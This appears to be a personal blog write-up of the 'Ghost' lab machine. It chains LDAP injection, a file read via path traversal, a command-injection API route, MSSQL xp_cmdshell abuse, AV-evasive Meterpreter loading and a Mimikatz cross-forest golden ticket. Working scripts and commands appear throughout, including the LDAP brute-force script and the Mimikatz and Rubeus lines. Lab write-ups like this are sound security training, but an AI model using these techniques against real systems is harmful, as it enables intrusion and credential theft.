Myles Nieman
← All writeups

Ghost

Overview

Ghost is an insane-rated box built around a layered attack chain spanning two AD forests. The entry point is an LDAP injection vulnerability on an internal Next.js intranet that allows blind extraction of a service-account’s secret character by character. That secret authenticates to a Gitea instance, whose source code reveals a dev API route that passes unsanitized input to a shell command — but only with the right header. A second flaw in a customized Ghost CMS post endpoint reads arbitrary files, which leaks the environment variable containing the dev API key. Those two primitives together give RCE inside a container where LDAP enumeration recovers domain credentials for florence.ramirez. From there, an MSSQL linked-server chain allows impersonating sa on a secondary server and enabling xp_cmdshell for a Windows shell. With SeImpersonatePrivilege available, a fileless Meterpreter shell is established, and Mimikatz dumps the inter-forest trust key. A crafted golden ticket passed with Rubeus provides cross-forest access to dc01.ghost.htb to read the root flag.

Path: LDAP injection → gitea_temp_principal secret → Gitea source → Ghost file-read (DEV_INTRANET_KEY) → /dev/scan RCE → container shell → florence.ramirez creds → MSSQL linked server → sa impersonation → xp_cmdshell → Meterpreter (SeImpersonatePrivilege) → Mimikatz trust key dump → cross-forest golden ticket → root.

Enumeration

Web Surface

The host exposes several web services across multiple ports. Port 8443 serves a page that makes requests to an internal intranet endpoint:

Port 8443 web application

Internal intranet endpoint referenced by port 8443 app

Subdomain fuzzing with ffuf on port 80 uncovers intranet.ghost.htb:

ffuf subdomain enumeration against port 80

Port 80 resolves to intranet.ghost.htb

The follow-up scan of intranet.ghost.htb on port 8008 requires making sure the proxy intercept is disabled so requests flow directly:

Browser proxy settings adjusted for intranet enumeration

The intranet login page is accessible at http://intranet.ghost.htb:8008/login:

Intranet login page at intranet.ghost.htb:8008

Foothold — LDAP Injection

Exploiting the Intranet Login

The login form accepts a username and a “secret” field. Testing for LDAP injection with wildcard characters reveals the filter is injectable — submitting * in the username field bypasses authentication:

LDAP injection attempt with wildcard in username

Wildcard login triggers unexpected redirect — LDAP injection confirmed

Targeting the gitea_temp_principal service account (visible in the intranet user listing after logging in as kathryn.holland) and injecting s* into the secret field results in a 303 redirect — a positive response — confirming that the secret begins with s:

LDAP injection on the secret field: s* triggers a 303 redirect

With this oracle, the secret can be extracted one character at a time by appending a wildcard and iterating over the character set. The following script automates the enumeration:

import requests
import string

secret = ""
url = "http://intranet.ghost.htb:8008/login"
headers = {
    "Host": "intranet.ghost.htb:8008",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "text/x-component",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://intranet.ghost.htb:8008/login",
    "Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
    "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
    "Content-Type": "multipart/form-data; boundary=---------------------------319570264792094203288709212",
    "Origin": "http://intranet.ghost.htb:8008",
    "Connection": "keep-alive"
}
cookies = {
    "connect.sid": "s%3A-Mpz6y5iqqZkrKgLKakT3OMRLkxItql8.ldD9FH8tj%2B5O0dz55ctyr6yJ%2FjcrIbkh2kwCTSq19BU"
}
data = (
    "-----------------------------319570264792094203288709212\r\n"
    "Content-Disposition: form-data; name=\"1_ldap-username\"\r\n\r\n"
    "gitea_temp_principal\r\n"
    "-----------------------------319570264792094203288709212\r\n"
    "Content-Disposition: form-data; name=\"1_ldap-secret\"\r\n\r\n"
    "{secret}\r\n"
    "-----------------------------319570264792094203288709212\r\n"
    "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    "[{},\"$K1\"]\r\n"
    "-----------------------------319570264792094203288709212--\r\n"
)

characters = list(string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation)

SecretString = ''
while True:
    for char in characters:
        sendString = SecretString + char + "*"
        modified_data = data.replace("{secret}", sendString)
        response = requests.post(url, headers=headers, cookies=cookies, data=modified_data)
        print(f"Trying: {sendString}, Status: {response.status_code}")

        if response.status_code == 303:
            print(f"Found character: {sendString}")
            SecretString += char
            break
    else:
        break

LDAP injection bruteforce script making requests

Script iterating through characters, hitting 303 on valid prefix

The script extracts the full secret:

Full secret extracted by the LDAP injection script

Gitea Access

Credentials gitea_temp_principal:szrr8kpc3z6onlqf authenticate to the Gitea instance:

Gitea login with gitea_temp_principal credentials

Gitea dashboard showing accessible repositories

Browsing the repositories reveals several items of interest:

Gitea repository listing

Repository contents — noting a potentially sensitive file

One repository contains what appears to be internal API documentation or a dev endpoint definition:

API endpoint documentation or route definition

Additional route or config file in repository

Critically, the source code for the blog’s dev API includes this Rust route:

#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();
    // ...
}

The data.url field is passed unsanitized to bash -c, making /dev/scan an unauthenticated command injection endpoint — gated only by a DevGuard check that enforces a specific header (X-DEV-INTRANET-KEY).

Gitea source code showing the /dev/scan RCE route

Ghost CMS File Read — Leaking the Dev Key

A note in the repository explains that posts-public.js was modified to accept an extra query parameter, which is used to read additional file content and append it to the post response. The Ghost public API requires a key:

API key: a5af628828958c976a3b6cc81a

Combining the file-read primitive with a path traversal:

http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../etc/passwd&key=a5af628828958c976a3b6cc81a

Ghost CMS file read returning /etc/passwd via extra parameter

Reading the container’s environment file exposes the dev intranet key:

Ghost CMS file read targeting the environment variable file

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

RCE via /dev/scan

With the DEV_INTRANET_KEY in hand, the /dev/scan endpoint accepts commands. Since data.url is appended directly to bash -c "intranet_url_check <url>", appending a semicolon or shell metacharacter after a valid URL injects arbitrary commands:

First request to /dev/scan confirming command execution

/dev/scan returning command output — RCE confirmed

The commands execute inside a container environment.

Confirming container context from /dev/scan output

Additional /dev/scan enumeration output

Further container enumeration via RCE

Lateral Movement — florence.ramirez

LDAP enumeration from inside the container (which is Samba-joined to the domain) recovers credentials for florence.ramirez:

Container environment — Samba-joined to domain

LDAP enumeration inside the container

BloodHound data collection from the container

florence.ramirez : uxLmt*udNc6t3HrF

florence.ramirez credentials recovered

Foothold on Windows — MSSQL Linked Server

florence.ramirez has access to MSSQL. Connecting via mssqlclient.py and checking linked servers shows a [PRIMARY] link:

$ mssqlclient.py 'ghost.htb/florence.ramirez:uxLmt*udNc6t3HrF@<mssql-host>'

MSSQL connection as florence.ramirez

The linked server can be used to execute queries on the remote instance:

Linked server [PRIMARY] enumerated via MSSQL

Checking the current login context on the linked server reveals it runs as sa:

Linked server executing as sa

With sa privileges, xp_cmdshell can be enabled on [PRIMARY]:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [PRIMARY]
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [PRIMARY]
EXEC ('xp_cmdshell ''whoami''') AT [PRIMARY]

xp_cmdshell enabled via linked server SA impersonation

The result confirms command execution on the Windows host. Attempting to stage a shell:

Staging a reverse shell via xp_cmdshell

Privilege Escalation — Meterpreter and SeImpersonatePrivilege

The xp_cmdshell session has SeImpersonatePrivilege. To get a stable shell, a fileless PE loader (FilelessPELoader) is used to inject a Meterpreter payload without touching disk, after running ThreatCheck to strip AV-detected bytes from the loader:

ThreatCheck identifying and removing bad bytes from the PE loader

Compiled loader ready to deploy

Meterpreter payload staged and ready

After some effort establishing C2:

C2 connection established via Meterpreter

Meterpreter session active

The session lands on PRIMARY, not dc01 — the flags are on the DC.

On PRIMARY; dc01 is the target

Root — Cross-Forest Golden Ticket

Mimikatz is loaded to dump the inter-forest trust credentials:

Mimikatz loaded on PRIMARY

Mimikatz dumping trust key material

The dump returns the rc4_hmac_nt (inter-realm trust key) for the CORP.GHOST.HTB → GHOST.HTB trust:

Mimikatz trust key dump output

rc4_hmac_nt: dae1ad83e2af14a379017f244a2f5297

Domain SIDs from wmic useraccount:

  • GHOST.HTB: S-1-5-21-4084500788-938703357-3654145966
  • GHOST-CORP: S-1-5-21-2034262909-2733679486-179904498

A golden ticket is forged targeting the ghost.htb forest using the inter-realm trust key, with the Administrator SID from GHOST.HTB included in the /sids field:

.\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-4084500788-938703357-3654145966 /sids:S-1-5-21-4084500788-938703357-3654145966-500 /rc4:dae1ad83e2af14a379017f244a2f5297 /target:ghost.htb /ticket:C:\temp\ghost.kirbi"

Mimikatz golden ticket forged for cross-forest access

Rubeus passes the ticket and requests a CIFS service ticket for dc01.ghost.htb:

.\Rubeus.exe asktgs /ticket:C:\temp\ghost.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

Rubeus requesting CIFS ticket with the forged golden ticket

CIFS ticket accepted — cross-forest access to dc01

With the ticket in the session, dc01.ghost.htb is accessible over SMB — CIFS confirmed, root flag retrieved.

Takeaways

  • Blind LDAP injection with a wildcard oracle is a fully scriptable credential-extraction technique. Any intranet login backed by an LDAP BIND that reflects redirect vs. deny is vulnerable to character-by-character enumeration.
  • MSSQL linked servers with misconfigured execution context are a free privilege escalation path — sa on a linked server means sa everywhere that server trusts, and sa means xp_cmdshell.
  • Cross-forest trust key abuse with Mimikatz + Rubeus lets you forge tickets that the target forest will accept for its own Administrators, collapsing an otherwise complex forest-to-forest boundary into a single Kerberos exchange.